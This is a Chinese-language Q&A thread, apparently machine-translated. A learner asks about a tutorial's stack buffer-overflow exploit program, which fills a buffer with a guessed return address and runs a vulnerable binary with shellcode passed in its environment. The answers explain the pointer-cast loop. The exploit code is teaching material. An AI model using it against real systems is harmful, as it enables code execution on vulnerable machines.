我在关于缓冲区溢出的教程中遇到了一些代码。 它是一个利用易受缓冲区溢出影响的简单程序的程序(如果某些堆栈保护机制被关闭)。
我的问题是:for循环在做什么?我的意思是for循环中的行:
*(void **)(buf + i) = addr;
它有点奇怪的语法,我以前没见过,或者我看过它,但它只是让我感到困惑。
该程序的想法是将buf作为参数传递给易受攻击的程序,并通过strcpy覆盖堆栈上的返回地址,使其运行在环境参数中传递的shellcode。
谢谢!
完整代码:
int main(int argc, char **argv) {
void *addr = (char *) 0xc0000000 - 4 - (strlen(VULN) + 1) - (strlen(&shellcode) + 1);
char buf[768];
size_t i;
for (i = 0; i < sizeof(buf); i += sizeof(void *)) {
*(void **)(buf + i) = addr;
}
char *params[] = { VULN, buf, NULL };
char *env[] = { &shellcode, NULL };
execve(VULN, params, env);
perror("execve");
return -1;
}
答案 0 :(得分:2)
C有一种 Treehorn类型系统。对于x
类型的任何对象T
,您可以假装它是不同类型的对象。为此,您可以转换对象的地址。所以,分步骤:
T x;
是T
类型的对象。
&x
是对象的地址,类型为T *
- “指向T
的指针”。
现在假装这是指向其他内容的指针:(U *)(&x)
- “指向U
的指针”,但它的值相同。
如果我们取消引用该对象,我们会将对象x
视为U
:*(U *)(&x)
现在将所有这些应用到代码中的T = char
,x = buf[i]
和U = void *
。请注意,&buf[i]
与buf + i
相同。另请注意,i
以sizeof(void *)
的步幅递增,以便循环的每一轮都不会踩到前几轮触及的内存。
警告:通常不允许将一个对象视为不同类型的对象;这是未定义的行为。只有一些例外;例如您可以将int
视为unsigned int
,并且可以将任何对象x
视为char[sizeof x]
。 (在您的代码中,这些都不是格式良好的。)
答案 1 :(得分:1)
首先,它计算一个在for
循环执行过程中保持不变的值:
0xc0000000 - 4 - (strlen(VULN) + 1) - (strlen(&shellcode) + 1)
然后,在for
循环内,它将这个常量值写入每个&#34; 4字节的条目&#34;在buf
数组中:
buf[0...3] = the constant value
buf[4...7] = the constant value
buf[8...11] = the constant value
...
buf[764...767] = the constant value